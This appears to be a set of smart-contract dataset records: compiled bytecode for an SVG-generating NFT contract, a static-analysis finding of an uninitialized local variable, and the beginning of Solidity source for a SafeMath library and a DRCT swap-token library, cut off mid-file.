1527f25222079313d223025222078323d2231303025222079323d223025223e3c737460208201527f6f70206f66667365743d223025222073746f702d636f6c6f723d2200000000006040820152605b0190565b6000825161257a818460208701615a2c565b9190910192915050565b60008351612596818460208801615a2c565b8351908301906125aa818360208801615a2c565b01949350505050565b600084516125c5818460208901615a2c565b8451908301906125d9818360208901615a2c565b84519101906125ec818360208801615a2c565b0195945050505050565b60008651612608818460208b01615a2c565b86519083019061261c818360208b01615a2c565b865191019061262f818360208a01615a2c565b8551910190612642818360208901615a2c565b8451910190612655818360208801615a2c565b01979650505050505050565b60008251612673818460208701615a2c565b651e17b9bb339f60d11b920191825250600601919050565b60007f3c7061747465726e2069643d226d6f6f6e222076696577426f783d22302c2d3082527f2e352c31302c3130222077696474683d223130302522206865696768743d223160208301527f303025223e3c726563742077696474683d22313022206865696768743d22313060408301526711103334b6361e9160c11b60608301528551612720816068850160208a01615a2c565b7f22207374726f6b653d22626c61636b22207374726f6b652d77696474683d22326068918401918201527f22207472616e73666f726d3d227472616e736c61746528302e30352c2d302e3560888201527f29222f3e3c726563742077696474683d223522206865696768743d223522207360a8820152663a3937b5b29e9160c91b60c882015285516127b98160cf840160208a01615a2c565b61289b6128566128506127e86127e260cf868801016711103334b6361e9160c11b815260080190565b8a612464565b7f22207472616e73666f726d3d227472616e736c61746528322e352c3229222f3e81527f3c726563742077696474683d223422206865696768743d223422207374726f6b60208201526f329e91313630b1b591103334b6361e9160811b604082015260500190565b87612464565b7f22207472616e73666f726d3d227472616e736c61746528332c322e35292220738152723a3937b5b296bbb4b23a341e9118171991179f60691b602082015260330190565b98975050505050505050565b60007f3c7061747465726e2069643d2273746172222076696577426f783d22302c302c82527f31322c3132222077696474683d2231312522206865696768743d22323525223e60208301527f3c636972636c652063783d223132222063793d22302220723d2234222066696c604083015262361e9160e91b60608301528551612937816063850160208a01615a2c565b600080516020615b0583398151915260639184019182018190527f222f3e3c636972636c652063783d223132222063793d22302220723d223222206083830152653334b6361e9160d11b60a38301819052875161299b8160a9860160208c01615a2c565b60a99301928301919091527f222f3e3c636972636c652063783d2230222063793d2231322220723d2234222060c983015260e9820152612a5c612a39612a336129e760ef850189612464565b600080516020615b0583398151915281527f222f3e3c636972636c652063783d2230222063793d2231322220723d223222206020820152653334b6361e9160d11b604082015260460190565b86612464565b600080516020615b0583398151915281526211179f60e91b602082015260230190565b979650505050505050565b6000612a72826124f3565b8451612a82818360208901615a2c565b8082019150507f222f3e3c73746f70206f66667365743d2231303025222073746f702d636f6c6f815262391e9160e91b60208201528351612aca816023840160208801615a2c565b7311179f1e17b634b732b0b923b930b234b2b73a1f60611b60239290910191820152603701949350505050565b6000612b02826124f3565b8451612b12818360208901615a2c565b612b1d8183016124ac565b9150508351612b30818360208801615a2c565b7f222073746f702d6f7061636974793d223122202f3e3c2f6c696e65617247726191019081527f6469656e743e3c706f6c79676f6e20706f696e74733d22302c3020302c35352060208201527f3132382c3535203132382c30222066696c6c203d2275726c282367726164312960408201527f222f3e202020203c7061747465726e2069643d2273746172222076696577426f60608201527f783d22352c2d322e392c31362c3136222077696474683d22313225222068656960808201526933b43a1e91191812911f60b11b60a082015260aa01949350505050565b60007f3c636972636c652063783d223132222063793d2231322220723d22362220666982526336361e9160e11b60208301528451612c51816024850160208901615a2c565b600080516020615b0583398151915260249184019182018190527f222f3e3c636972636c652063783d223132222063793d2231322220723d223422604483015266103334b6361e9160c91b606483018190528651612cb681606b860160208b01615a2c565b606b9301928301919091527f222f3e3c636972636c652063783d223132222063793d2231322220723d223222608b83015260ab8201528351612cff8160b2840160208801615a2c565b612a5c60b282840101600080516020615b0583398151915281527f222f3e3c616e696d617465206174747269627574654e616d653d22782220667260208201527f6f6d3d22302220746f3d22312e3122206475723d22397322207265706561744360408201527f6f756e743d22696e646566696e697465222f3e3c2f7061747465726e3e3c726560608201527f63742077696474683d2231323822206865696768743d223535222066696c6c3d60808201527f2275726c2823737461722922207374726f6b653d22626c61636b22207374726f60a08201526d35b296bbb4b23a341e911991179f60911b60c082015260ce0190565b60007f3c7061747465726e2069643d2252222076696577426f783d223020302031362082527f3136222077696474683d2231312e342522206865696768743d22323525223e3c60208301527f672066696c6c3d2275726c282367726164312922207374726f6b652d7769647460408301527f683d223122207374726f6b653d22626c61636b223e3c706f6c79676f6e20706f60608301527f696e74733d22382c2d322032362c2d322032362c313820382c3138222f3e3c6360808301527f6972636c652063783d2238222063793d22382220723d2238222f3e3c6369726360a08301527f6c652063783d2230222063793d22302220723d2238222f3e3c636972636c652060c08301527f63783d2230222063793d2231362220723d2238222f3e3c636972636c6520637860e08301527f3d2238222063793d22382220723d2233222066696c6c3d2200000000000000006101008301526101188651612f5f8183860160208b01615a2c565b61289b613026612850612fee6127e2612fb6612fb088888c01017f222f3e3c636972636c652063783d2230222063793d22302220723d223322206681526434b6361e9160d91b602082015260250190565b8d612464565b7f222f3e3c636972636c652063783d2230222063793d2231362220723d223322208152653334b6361e9160d11b602082015260260190565b7f222f3e3c636972636c652063783d223137222063793d22302220723d223322208152653334b6361e9160d11b602082015260260190565b6211179f60e91b815260030190565b60007f2261747472696275746573223a205b7b2274726169745f74797065223a20225082527030ba3a32b9371116113b30b63ab2911d1160791b60208301528251613087816031850160208701615a2c565b62089f4b60ea1b6031939091019283015250603401919050565b60007f7b2274726169745f74797065223a20224261636b67726f756e64222c2276616c8252643ab2911d1160d91b602083015285516130e7816025850160208a01615a2c565b7f227d2c7b2274726169745f74797065223a2022436f6c6f72204f6e65222c22766025918401918201526730b63ab2911d101160c11b60458201819052865161313781604d850160208b01615a2c565b7f227d2c7b2274726169745f74797065223a2022436f6c6f722054776f222c2276604d9390910192830152606d820152845161317a816075840160208901615a2c565b7f227d2c7b2274726169745f74797065223a2022436f6c6f72205468726565222c6075929091019182015269113b30b63ab2911d101160b11b6095820152612a5c6131c8609f830186612464565b62227d5d60e81b815260030190565b60007f3c7061747465726e2069643d2265222076696577426f783d2231332c2d312c3182527f302c3135222077696474683d2231352522206865696768743d22393525223e3c60208301527f706f6c79676f6e20706f696e74733d222d39392c2d3939202d39392c393920396040830152731c961c9c901c9c96169c9c91103334b636101e9160611b60608301528451613278816074850160208901615a2c565b7f222f3e203c67207374726f6b653d22626c61636b22207374726f6b652d7769646074918401918201527f74683d22302e3735223e3c706f6c79676f6e20706f696e74733d22352c35203160948201527f382c31302032332c352031382c30222066696c6c203d2200000000000000000060b482015284516133018160cb840160208901615a2c565b7f222f3e3c706f6c79676f6e20706f696e74733d2232312c302032362c3520323160cb929091019182015270161898101999961a91103334b636101e9160791b60eb8201526133d961335660fc830186612464565b7f222f3e203c2f673e3c616e696d617465206174747269627574654e616d653d2281527f78222066726f6d3d22302220746f3d22302e3322206475723d22322e3573222060208201527f726570656174436f756e743d22696e646566696e697465222f3e203c2f7061746040820152643a32b9371f60d91b606082015260650190565b9695505050505050565b751e39bb339031bab9ba37b6a830ba3a32b937101e901160511b81528151600090613415816016850160208701615a2c565b7f2220786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f60169390910192830152507f73766722207072657365727665417370656374526174696f3d22784d696e594d60368201527f696e206d656574222076696577426f783d223020302031323820353522203e006056820152607501919050565b60007f3c7061747465726e2069643d22727567222076696577426f783d22352e352c3082527f2c31302c3130222077696474683d2232342522206865696768743d223230252260208301527f3e3c706f6c79676f6e20706f696e74733d222d31302c2d3130202d31302c33306040830152751019981619981019981616989811103334b636101e9160511b60608301528551613538816076850160208a01615a2c565b7f222f3e3c706f6c79676f6e20706f696e74733d22302c3520392c312031302c316076918401918201527f2031302c3220382c3420312c3520382c362031302c382031302c3920392c392060968201527f302c35222f3e3c706f6c79676f6e20706f696e74733d2231302c352031332c3160b68201527f2031342c31202032312c352031342c392031332c392031302c35222f3e3c706f60d68201527f6c79676f6e20706f696e74733d2231332e32352c322e32352031342e352c352060f68201527f31332e32352c372e37352031312c35222066696c6c3d22000000000000000000610116820152612a5c6136d4612a3361368c61368661363e61012d87018c612464565b7f222f3e3c706f6c79676f6e20706f696e74733d2231342e352c322e352031352e8152751a961a171a90189c171a961a171a91103334b6361e9160511b602082015260360190565b89612464565b7f222f3e3c706f6c79676f6e20706f696e74733d2231382e352c352e352031352e8152751a961a971a90189a171a961b971a91103334b6361e9160511b602082015260360190565b7f222f3e3c706f6c79676f6e20706f696e74733d2231382e352c352e352031352e81527f352c352e352031342e352c372e3522207472616e73666f726d3d227363616c6560208201527f282d312c2d3129207472616e736c617465282d33352c2d313529222f3e3c706f60408201527f6c79676f6e20706f696e74733d2231342e352c322e352031352e352c342e352060608201527f31382e352c342e3522207472616e73666f726d3d227363616c65282d312c2d3160808201527f29207472616e736c617465282d33352c2d3529222f3e3c706f6c79676f6e207060a08201527f6f696e74733d2231332e32352c322e32352031342e352c352031332e32352c3760c08201527f2e37352031312c3522207472616e73666f726d3d227363616c65282d312c2d3160e08201527f29207472616e736c617465282d33352c2d313529222f3e3c706f6c79676f6e206101008201527f706f696e74733d2231332e32352c322e32352031342e352c352031332e32352c6101208201527f372e37352031312c3522207472616e73666f726d3d227363616c65282d312c2d6101408201527f3129207472616e736c617465282d33352c2d3529222f3e3c706f6c79676f6e206101608201527f706f696e74733d22322c352031302c352031332c392031302c3920382c3622206101808201527f7472616e73666f726d3d227363616c65282d312c2d3129207472616e736c61746101a08201527f65282d392c2d313529222f3e3c706f6c79676f6e20706f696e74733d22322c356101c08201527f20382c342031302c312031332c312031302c3522207472616e73666f726d3d226101e08201527f7363616c65282d312c2d3129207472616e736c617465282d392c2d3529222f3e6102008201527f3c616e696d617465206174747269627574654e616d653d2278222066726f6d3d6102208201527f22302220746f3d22322e3422206475723d223230732220726570656174436f756102408201527f6e743d22696e646566696e697465222f3e3c2f7061747465726e3e3c726563746102608201527f2077696474683d2231323822206865696768743d223535222066696c6c3d22756102808201527f726c28237275672922207374726f6b652d77696474683d223322207374726f6b6102a08201526a329e91313630b1b591179f60a91b6102c08201526102cb0190565b60007f3c706f6c79676f6e20706f696e74733d22352c302031302c302031332c35203182527418161898101a9618981019161a91103334b6361e9160591b60208301528451613a95816035850160208901615a2c565b600080516020615ae58339815191526035918401918201527f2e3622207472616e73666f726d3d227472616e736c6174652831332e3320313060558201527f2e3529207363616c6528302e3520302e3529222f3e2020202020203c706f6c7960758201527f676f6e20706f696e74733d2232302e352c362031322e352c362031302c31302060958201527f352c313020322c3520352c302031302c302031322e352c342032312c3420323260b58201527f2c352032382c31372032362e352c313722207472616e73666f726d3d2274726160d58201527f6e736c6174652832342e35202d3829207363616c65282d312c3129222066696c60f582015262361e9160e91b6101158201526133d9613c18612a33613bb5610118850189612464565b600080516020615ae583398151915281527f2e33222f3e20202020203c706f6c79676f6e20706f696e74733d22352c30203160208201527f302c302031332c352031302c313020352c313020322c35222066696c6c3d22006040820152605f0190565b600080516020615ae583398151915281527f2e3622207472616e73666f726d3d227472616e736c6174652831332e33202d3560208201527f2e3529207363616c6528302e3520302e3529222f3e202020203c616e696d617460408201527f65206174747269627574654e616d653d2278222066726f6d3d22302220746f3d60608201527f22312e3222206475723d22392e38732220726570656174436f756e743d22696e60808201527f646566696e697465222f3e202020203c2f7061747465726e3e3c72656374207760a08201527f696474683d2231323822206865696768743d223535222066696c6c3d2275726c60c08201527f2823737461722922207374726f6b653d22626c61636b22207374726f6b652d7760e08201526934b23a341e911991179f60b11b61010082015261010a0190565b60007f3c726563742077696474683d223622206865696768743d223622207374726f6b82527f653d22626c61636b222066696c6c3d226e6f6e6522207472616e73666f726d3d60208301527f227472616e736c61746528322c312e352922207374726f6b652d77696474683d60408301527f22302e33222f3e3c636972636c652063783d2235222063793d22342e3522207260608301526c1e9118911039ba3937b5b29e9160991b60808301528451613e0e81608d850160208901615a2c565b6711103334b6361e9160c11b608d918401918201528451613e36816095840160208901615a2c565b7f222f3e3c67207374726f6b653d22626c61636b22207374726f6b652d77696474609592909101918201527f683d22302e33222066696c6c3d226e6f6e65223e3c636972636c652063783d2260b58201527f35222063793d22342e352220723d22312e35222f3e3c636972636c652063783d60d58201527f2235222063793d22342e352220723d22302e35222f3e203c2f673e3c2f70617460f58201527f7465726e3e3c7061747465726e2069643d2273746172222076696577426f783d6101158201527f22372c2d302e352c372c3130222077696474683d2231372522206865696768746101358201527f3d22323025223e3c672066696c6c3d2275726c28236d6f6f6e2922207374726f6101558201526335b29e9160e11b6101758201526133d9613f67610179830186612464565b7f223e3c726563742077696474683d22313022206865696768743d22313022207481527f72616e73666f726d3d227472616e736c61746528302c2d302e3529222f3e3c7260208201527f6563742077696474683d22313022206865696768743d22313022207472616e7360408201527f666f726d3d227472616e736c6174652831302c342e3529222f3e3c726563742060608201527f77696474683d22313022206865696768743d22313022207472616e73666f726d60808201527f3d227472616e736c6174652831302c2d352e3529222f3e3c2f673e3c616e696d60a08201527f617465206174747269627574654e616d653d2278222066726f6d3d223022207460c08201527f6f3d22302e313722206475723d22312e3433732220726570656174436f756e7460e08201527f3d22696e646566696e697465222f3e3c2f7061747465726e3e3c7265637420776101008201527f696474683d2231323822206865696768743d223535222066696c6c3d2275726c6101208201527f2823737461722922207374726f6b652d77696474683d223322207374726f6b65610140820152691e91313630b1b591179f60b11b61016082015261016a0190565b60007f3c636972636c652063783d223137222063793d2231362220723d22332220666982526336361e9160e11b60208301528251614169816024850160208701615a2c565b7f222f3e3c2f673e3c616e696d617465206174747269627574654e616d653d227860249390910192830152507f222066726f6d3d22302220746f3d22302e37393822206475723d22362e36732260448201527f20726570656174436f756e743d22696e646566696e697465222f3e3c2f70617460648201527f7465726e3e3c726563742077696474683d2231323822206865696768743d223560848201527f35222066696c6c3d2275726c2823522922207374726f6b652d77696474683d2260a48201527219911039ba3937b5b29e91313630b1b591179f60691b60c482015260d701919050565b60007f3c706f6c79676f6e20706f696e74733d22332c362031332c313220332c313822825266103334b6361e9160c91b60208301528451614299816027850160208901615a2c565b7f222f3e3c706f6c79676f6e20706f696e74733d222d372c313220332c3138202d6027918401918201526b1b96191a11103334b6361e9160a11b604782015284516142eb816053840160208901615a2c565b7f222f3e3c706f6c79676f6e20706f696e74733d2232332c31382031332c323420605392909101918201526c189996189911103334b6361e9160991b6073820152835161433f816080840160208801615a2c565b7f222f3e3c2f673e3c616e696d617465206174747269627574654e616d653d2278608092909101918201527f222066726f6d3d22302220746f3d22302e3730383522206475723d22352e397360a08201527f2220726570656174436f756e743d22696e646566696e697465222f3e3c2f706160c08201527f747465726e3e3c726563742077696474683d2231323822206865696768743d2260e08201527f3535222066696c6c3d2275726c2823522922207374726f6b652d77696474683d610100820152731119911039ba3937b5b29e91313630b1b591179f60611b6101208201526101340195945050505050565b60007f3c706f6c79676f6e20706f696e74733d222d332c39202d332c31332031362c3182527f332031362c39222f3e3c706f6c79676f6e20706f696e74733d2232332c39203260208301527f332c31332034312c31332034312c39222f3e3c2f673e3c616e696d617465206160408301527f74747269627574654e616d653d2278222066726f6d3d22322e342220746f3d2260608301527f3022206475723d223430732220726570656174436f756e743d22696e6465666960808301527f6e697465222f3e3c2f7061747465726e3e3c726563742077696474683d22313260a0830152741c11103432b4b3b43a1e911a9a91103334b6361e9160591b60c083015282516145428160d5850160208701615a2c565b7f222f3e3c7265637420783d22302220793d2232222077696474683d223132382260d59390910192830152507f206865696768743d2239222066696c6c3d2275726c28236529222f3e3c72656360f58201527f7420783d22302220793d223130222077696474683d22313238222068656967686101158201527f743d2239222066696c6c3d2275726c28236329222f3e3c7265637420783d22306101358201527f2220793d223139222077696474683d2231323822206865696768743d223135226101558201527f2066696c6c3d2275726c28236829222f3e3c7265637420783d22302220793d226101758201527f33362e35222077696474683d2231323822206865696768743d2239222066696c6101958201527f6c3d2275726c28236329222f3e3c7265637420783d22302220793d2234362e326101b58201527f35222077696474683d2231323822206865696768743d2239222066696c6c3d226101d58201527f75726c28236529222f3e3c726563742077696474683d223132382220686569676101f58201527f68743d223535222066696c6c3d227472616e73706172656e7422207374726f6b6102158201527f653d22626c61636b22207374726f6b652d77696474683d2233222f3e0000000061023582015261025101919050565b60007f3c72616469616c4772616469656e742069643d2261222078313d223025222079825260207f313d223025222078323d2231303025222079323d223025223e3c73746f70206f818401527f66667365743d223025222073746f702d636f6c6f723d22000000000000000000604084015286516147a78160578601848b01615a2c565b6147b56057828601016124ac565b905086516147c68183858b01615a2c565b7f222073746f702d6f7061636974793d223122202f3e3c2f72616469616c47726191019081527f6469656e743e3c72616469616c4772616469656e742069643d2262222078313d828201527f223025222079313d223025222078323d2231303025222079323d223025223e3c60408201527f73746f70206f66667365743d223025222073746f702d636f6c6f723d220000006060820152855161486f81607d8401898601615a2c565b61487d607d828401016124ac565b915050845161488f8183858901615a2c565b6148cd8183017f222073746f702d6f7061636974793d223122202f3e3c2f72616469616c4772618152653234b2b73a1f60d11b602082015260260190565b9998505050505050505050565b60007f3c636972636c652063783d2236222063793d22362220723d2236222066696c6c8252611e9160f11b6020830152875161491d816022850160208c01615a2c565b600080516020615b0583398151915260229184019182018190527f222f3e3c636972636c652063783d2236222063793d22362220723d223422206660428301526434b6361e9160d91b606283018190528951614980816067860160208e01615a2c565b60679301928301919091527f222f3e3c636972636c652063783d2236222063793d22362220723d2232222066608783015260a78201526148cd612a39612a33614a74613686614a29614a236149d860ac89018f612464565b600080516020615b0583398151915281527f222f3e3c636972636c652063783d2230222063793d22302220723d223622206660208201526434b6361e9160d91b604082015260450190565b8c612464565b600080516020615b0583398151915281527f222f3e3c636972636c652063783d2230222063793d22302220723d223422206660208201526434b6361e9160d91b604082015260450190565b600080516020615b0583398151915281527f222f3e3c636972636c652063783d2230222063793d22302220723d223222206660208201526434b6361e9160d91b604082015260450190565b60007f3c706f6c79676f6e20706f696e74733d2231332c362031302e352c313020352e82527f352c313020322e352c3520352e352c302031302e352c302031332c342032312c60208301527f342032362c2d352032382c2d352032322e352c352032392c31372032372c313760408301526c101918961b11103334b6361e9160991b60608301528451614b5981606d850160208901615a2c565b8083019050600080516020615ae583398151915280606d8301527f2e33222f3e202020203c706f6c79676f6e20706f696e74733d22352c30203130608d8301527f2c302031332c352031302c313020352c313020322c35222066696c6c3d22000060ad8301528551614bd28160cb850160208a01615a2c565b60cb9201918201527f2e3622207472616e73666f726d3d227472616e736c61746528342e3320322e3560eb8201527f29207363616c6528302e3520302e3529222f3e202020203c706f6c79676f6e2061010b8201527f706f696e74733d2232312c362031322e352c362031302c313020352c3130203261012b8201527f2c3520352c302031302c302031322e352c342032302e352c342032352e352c2d61014b8201527f352032382c2d352032322c3522207472616e73666f726d3d227472616e736c6161016b8201527f74652832342e35203829207363616c65282d312c3129222066696c6c3d22000061018b8201526133d9614cd46101a9830186612464565b600080516020615ae5833981519152815264171991179f60d91b602082015260250190565b60007f3c7061747465726e2069643d2268222076696577426f783d2231302c302c323082527f2c3235222077696474683d2231352522206865696768743d2231303725223e3c60208301527f706f6c79676f6e20706f696e74733d222d39392c2d3939202d39392c393920396040830152731c961c9c901c9c96169c9c91103334b636101e9160611b60608301528451614d9a816074850160208901615a2c565b7f222f3e3c706f6c79676f6e20706f696e74733d22392c342031342c392031342c6074918401918201527f313820392c32332032362c32332033312c31382033312c392032362c3422206660948201526534b636101e9160d11b60b48201528451614e0c8160ba840160208901615a2c565b600080516020615b0583398151915260ba92909101918201526c11179f1e33903334b636101e9160991b60da8201526133d9614e4b60e7830186612464565b600080516020615ae583398151915281527f2e35223e3c636972636c652063783d223230222063793d2231302220723d223260208201527f2e35222f3e3c636972636c652063783d223230222063793d2231372220723d2260408201527f322e35222f3e3c706f6c79676f6e20706f696e74733d2232342c31312032342c60608201527f31362032392c31332e35222f3e3c2f673e3c636972636c652063783d2232302260808201527f2063793d2231302220723d22312e3735222066696c6c3d22626c61636b222f3e60a08201527f3c636972636c652063783d223230222063793d2231372220723d22312e37352260c08201526e103334b6361e91313630b1b591179f60891b60e082015260ef0190565b60007f3c706f6c79676f6e20706f696e74733d22302c30203132382c30203132382c3582526d1a9018161a9a91103334b6361e9160911b60208301528551614fad81602e850160208a01615a2c565b7f222f3e3c7061747465726e2069643d2252222076696577426f783d2230203020602e918401918201527f3230203234222077696474683d2231312e382522206865696768743d22333325604e8201527f223e3c67207374726f6b652d77696474683d22302e3322207374726f6b653d22606e8201527f626c61636b223e3c706f6c79676f6e20706f696e74733d22302c32342031302c608e8201526f189c10189816199811103334b6361e9160811b60ae82015285516150758160be840160208a01615a2c565b7f222f3e3c706f6c79676f6e20706f696e74733d22302c302031302c362031302c60be929091019182015269169b11103334b6361e9160b11b60de820152612a5c613026612a336150c960e8850189612464565b7f222f3e3c706f6c79676f6e20706f696e74733d2231302c362032302c3132203281526a18161811103334b6361e9160a91b6020820152602b0190565b60007f3c7061747465726e2069643d2273746172222076696577426f783d22352e352c82527f2d35302c3130302c313030222077696474683d2234302522206865696768743d60208301527f22353025223e3c706f6c79676f6e20706f696e74733d222d3130302c2d31303060408301527f202d3130302c333030203330302c333030203330302c2d313030222066696c6c60608301527f3d227768697465222f3e203c706f6c796c696e6520706f696e74733d2231312060808301527f312c3720312c3720352c313120352c313120332c2031302033222066696c6c3d60a08301526e113737b732911039ba3937b5b29e9160891b60c083015285516152148160cf850160208a01615a2c565b7f222f3e3c706f6c796c696e6520706f696e74733d223120352c3120312c35203560cf918401918201527f2c352031222066696c6c3d226e6f6e6522207374726f6b653d2200000000000060ef820152612a5c615342612a336152dd61368661528161010987018c612464565b7f222f3e3c706f6c796c696e6520706f696e74733d22313320352c313320312c3181527f3520332c313720312c2031372035222066696c6c3d226e6f6e6522207374726f60208201526335b29e9160e11b604082015260440190565b7f222f3e3c706f6c796c696e6520706f696e74733d22313920312c20323320312c81527f20323120312c20323120352c20313920352c2032332035222066696c6c3d226e60208201526c37b732911039ba3937b5b29e9160991b6040820152604d0190565b7f222f3e3c616e696d617465206174747269627574654e616d653d22782220667281527f6f6d3d22302220746f3d22302e3422206475723d22337322207265706561744360208201527f6f756e743d22696e646566696e697465222f3e2020203c2f7061747465726e3e60408201527f20203c726563742077696474683d2231323822206865696768743d223535222060608201527f66696c6c3d2275726c2823737461722922207374726f6b653d22626c61636b226080820152721039ba3937b5b296bbb4b23a341e911991179f60691b60a082015260b30190565b60007f3c616e696d617465206174747269627574654e616d653d2278222066726f6d3d82527f22302220746f3d22302e3622206475723d2235732220726570656174436f756e60208301527f743d22696e646566696e697465222f3e3c2f7061747465726e3e3c706174746560408301527f726e2069643d2263222076696577426f783d2231332c342c31302c323022207760608301527f696474683d2231352522206865696768743d2231333525223e3c706f6c79676f60808301527f6e20706f696e74733d222d39392c2d3939202d39392c39392039392c3939203960a08301526c1c96169c9c91103334b6361e9160991b60c0830152845161552b8160cd850160208901615a2c565b7f222f3e3c706f6c79676f6e20706f696e74733d22372c3320372c31382033322c60cd918401918201527f31382033322c33222066696c6c3d22626c61636b222f3e3c706f6c79676f6e2060ed8201527f706f696e74733d2231312c372031312c31352032382c31352032382c3722206661010d8201526434b6361e9160d91b61012d8201526133d96155f1612a336155c8610132850189612464565b7f222f3e3c672066696c6c3d22626c61636b22207374726f6b653d2200000000008152601b0190565b72111039ba3937b5b296bbb4b23a341e9118911f60691b815260130190565b60007f3c7061747465726e2069643d2273746172222076696577426f783d22352e352c82527f2d35302c3130302c313030222077696474683d2232352522206865696768743d60208301527f22323525223e3c67207374726f6b653d22626c61636b22207374726f6b652d7760408301527f696474683d2232223e3c706f6c79676f6e20706f696e74733d222d39392c2d3960608301527f39202d39392c3939203939392c3939203939392c2d3939222066696c6c203d22608083015286516156e08160a0850160208b01615a2c565b7f222f3e203c706f6c79676f6e20706f696e74733d22302c2d3530202d36302c2d60a0918401918201527f31352e3336202d36302c2d38342e3634222066696c6c3d22000000000000000060c082015286516157438160d8840160208b01615a2c565b7f222f3e3c706f6c79676f6e20706f696e74733d22302c3530202d36302c38342e60d89290910191820152731b1a10169b1816189a97199b11103334b6361e9160611b60f882015261289b6157ff612a336157e36136866157a861010c87018c612464565b7f222f3e3c636972636c652063783d22313230222063793d22302220723d22333081526811103334b636101e9160b91b602082015260290190565b6f1110179f1e3830ba34103334b6361e9160811b815260100190565b7f222069643d22737461722220643d224d302c30204333372e352c36322e35203781527f352c32352035302c30204337352c2d32352033372e352c2d36322e3520302c3060208201527f207a222f3e3c2f673e3c67207472616e73666f726d3d227472616e736c61746560408201527f28302c343029222069643d2273746172223e3c2f673e3c616e696d617465206160608201527f74747269627574654e616d653d2278222066726f6d3d22302220746f3d22302e60808201527f3522206475723d22342e31732220726570656174436f756e743d22696e64656660a08201527f696e697465222f3e3c2f7061747465726e3e3c726563742077696474683d223160c08201527f323822206865696768743d223535222066696c6c3d2275726c2823737461722960e08201527f22207374726f6b653d22626c61636b22207374726f6b652d77696474683d22336101008201526211179f60e91b6101208201526101230190565b600060408252835160408301526020840151606083015260408401516080830152606084015160a0830152608084015160c083015260a0840151151560e083015260c08401516101008081850152506159c4610140840182612480565b905060e0850151603f19848303016101208501526159e28282612480565b91505082810360208401526159f78185612480565b95945050505050565b60008219821115615a1357615a13615aa2565b500190565b600082615a2757615a27615ab8565b500490565b60005b83811015615a47578181015183820152602001615a2f565b83811115615a56576000848401525b50505050565b600081615a6b57615a6b615aa2565b506000190190565b6000600019821415615a8757615a87615aa2565b5060010190565b600082615a9d57615a9d615ab8565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fdfe22207374726f6b653d22626c61636b22207374726f6b652d77696474683d223022207374726f6b653d22626c61636b22207374726f6b652d77696474683d2231a2646970667358221220e8fc335bd1966aef89b5179137a9d30a95fe96b087a151be25e34f78016198d364736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,535 |
0x4c102b6bad1d3e879ce07204d1089e3eed8b4450
|
pragma solidity ^0.4.24;
//Slightly modified SafeMath library - includes a min function
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
//Swap factory functions - descriptions can be found in Factory.sol
interface Factory_Interface {
function createToken(uint _supply, address _party, uint _start_date) external returns (address,address, uint);
function payToken(address _party, address _token_add) external;
function deployContract(uint _start_date) external payable returns (address);
function getBase() external view returns(address);
function getVariables() external view returns (address, uint, uint, address,uint);
function isWhitelisted(address _member) external view returns (bool);
}
/**
*The DRCTLibrary contains the reference code used in the DRCT_Token (an ERC20 compliant token
*representing the payout of the swap contract specified in the Factory contract).
*/
library DRCTLibrary{
using SafeMath for uint256;
/*Structs*/
/**
*@dev Keeps track of balance amounts in the balances array
*/
struct Balance {
address owner;
uint amount;
}
struct TokenStorage{
//This is the factory contract that the token is standardized at
address factory_contract;
//Total supply of outstanding tokens in the contract
uint total_supply;
//Mapping from: swap address -> user balance struct (index for a particular user's balance can be found in swap_balances_index)
mapping(address => Balance[]) swap_balances;
//Mapping from: swap address -> user -> swap_balances index
mapping(address => mapping(address => uint)) swap_balances_index;
//Mapping from: user -> dynamic array of swap addresses (index for a particular swap can be found in user_swaps_index)
mapping(address => address[]) user_swaps;
//Mapping from: user -> swap address -> user_swaps index
mapping(address => mapping(address => uint)) user_swaps_index;
//Mapping from: user -> total balance accross all entered swaps
mapping(address => uint) user_total_balances;
//Mapping from: owner -> spender -> amount allowed
mapping(address => mapping(address => uint)) allowed;
}
/*Events*/
/**
*@dev events for transfer and approvals
*/
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event CreateToken(address _from, uint _value);
/*Functions*/
/**
*@dev Constructor - sets values for token name and token supply, as well as the
*factory_contract, the swap.
*@param _factory
*/
function startToken(TokenStorage storage self,address _factory) public {
self.factory_contract = _factory;
}
/**
*@dev ensures the member is whitelisted
*@param _member is the member address that is chekced agaist the whitelist
*/
function isWhitelisted(TokenStorage storage self,address _member) internal view returns(bool){
Factory_Interface _factory = Factory_Interface(self.factory_contract);
return _factory.isWhitelisted(_member);
}
/**
*@dev gets the factory address
*/
function getFactoryAddress(TokenStorage storage self) external view returns(address){
return self.factory_contract;
}
/**
*@dev Token Creator - This function is called by the factory contract and creates new tokens
*for the user
*@param _supply amount of DRCT tokens created by the factory contract for this swap
*@param _owner address
*@param _swap address
*/
function createToken(TokenStorage storage self,uint _supply, address _owner, address _swap) public{
require(msg.sender == self.factory_contract);
//Update total supply of DRCT Tokens
self.total_supply = self.total_supply.add(_supply);
//Update the total balance of the owner
self.user_total_balances[_owner] = self.user_total_balances[_owner].add(_supply);
//If the user has not entered any swaps already, push a zeroed address to their user_swaps mapping to prevent default value conflicts in user_swaps_index
if (self.user_swaps[_owner].length == 0)
self.user_swaps[_owner].push(address(0x0));
//Add a new swap index for the owner
self.user_swaps_index[_owner][_swap] = self.user_swaps[_owner].length;
//Push a new swap address to the owner's swaps
self.user_swaps[_owner].push(_swap);
//Push a zeroed Balance struct to the swap balances mapping to prevent default value conflicts in swap_balances_index
self.swap_balances[_swap].push(Balance({
owner: 0,
amount: 0
}));
//Add a new owner balance index for the swap
self.swap_balances_index[_swap][_owner] = 1;
//Push the owner's balance to the swap
self.swap_balances[_swap].push(Balance({
owner: _owner,
amount: _supply
}));
emit CreateToken(_owner,_supply);
}
/**
